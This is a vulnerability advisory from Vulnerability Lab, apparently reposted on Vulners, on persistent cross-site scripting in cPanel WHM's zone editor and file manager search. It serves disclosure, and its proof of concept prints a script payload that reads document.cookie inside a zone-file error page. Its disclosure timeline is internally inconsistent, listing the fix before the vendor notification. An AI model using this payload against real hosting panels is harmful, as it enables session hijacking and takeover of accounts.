Document Title:
===============
cPanel WHM v11.24.7.x - Multiple Cross Site Vulnerabilities
Release Date:
=============
2011-06-07
Vulnerability Laboratory ID (VL-ID):
====================================
48
Product & Service Introduction:
===============================
cPanel provides an intuitive interface to help website owners manage their sites, while WebHost Manager (WHM)
automates server management tasks for server administrators. Together, they reduce overhead by simplifying
complex tasks and allowing customers to manage their own accounts. Professionals and novices alike love the
power cPanel and WHM offers, including the ability to activate new web technologies with the click of a mouse.
This allows your company to meet the needs of todays hosting customers with minimal effort.
ZoneEditor is to edit the DNS settings of a with cpanel hosted server.
(Copy of the Vendor Homepage http://cpanel.net)
Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a Cross-Site-Scripting Vulnerability on cPanel WebHost Manager.
A remote attacker is able to get the session of a victim & through it access to the panel.
An attacker can also include csrf attacks to manipulate via user interaction the panel settings.
Vulnerability Disclosure Timeline:
==================================
2009-09-07: Vendor Notification
2009-11-22: Vendor Response/Feedback
2009-01-03: Vendor Fix/Patch
2010-04-03: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent cross site scripting vulnerability is detected on cPanels WebHost Manager.
The validation bug is located in the zoneeditor.cgi file & allows an attacker to implement malicious persistent script code.
Vulnerable Module(s):
[+] Zoneeditor - Zones
[+] Search - ?regex=
Pictures:
../cpanel1.png
../cpanel2.png
../cpanel3.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers & local privileged user accounts.
For demonstration or reproduce ...
1.1
</style>
There were errors in the new zone which have been highlighted below. Please press the back button an try again!
<br />
<div class=\"zonefile\"><pre>
; cPanel first:11.23.3-BETA_25900 latest:11.24.7-BETA_36825 Cpanel::ZoneFile::VERSION:1.3 mtime:1252786455 hostname:demo.cpanel.net
; Zone file for 60.33.22.33
$TTL 14400
>\"<script>alert(document.cookie)</script><div style=\"1 86400 IN SOA
ns1.hosting-sherbime.co. ns2.hosting-sherbime.co.
( 2008071728 86400 7200 36000000 86400 ) <span class=\"zoneerr\">syntax error</span>
60.33.22.33. 86400 IN NS ns1.hosting-sherbime.com.60.33.22.33.
60.33.22.33. 86400 IN NS ns2.hosting-sherbime.com.60.33.22.33.
60.33.22.33. 14400 IN A 198.66.92.13
localhost 14400 IN A 127.0.0.1
60.33.22.33 14400 IN MX 0 60.33.22.33.
mail 14400 IN CNAME 60.33.22.33.
www 14400 IN CNAME bigmouthmedia.com.au.
ftp 14400 IN CNAME 60.33.22.33.
60.33.22.33. 14400 IN PTR test.abc.com.60.33.22.33.
60.33.22.33. 14400 IN PTR test.and.com.60.33.22.33.
60.33.22.33. 14400 IN PTR hostname.60.33.22.33.
. 14400 IN PTR hostname.60.33.22.33. <span class=\"zoneerr\">ignoring out-of-zone data (.)</span>
43raaert 14400 IN MX 0 61.35.218.15.
feed 14400 IN CNAME teste.60.33.22.33.
79.113.100.100 14400 IN PTR ronet.rdsnet.ro.60.33.22.33.
* 14400 IN A 127.0.0.1
</pre></div>
1.2
Path: ../filemanager/
File: searchfiles.xml
Para: ?regex=
Security Risk:
==============
The security risk of the both persistent cross site scripting vulnerabilities are estimated as medium.
Credits & Authors:
==================
Vulnerability Research Laboratory
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation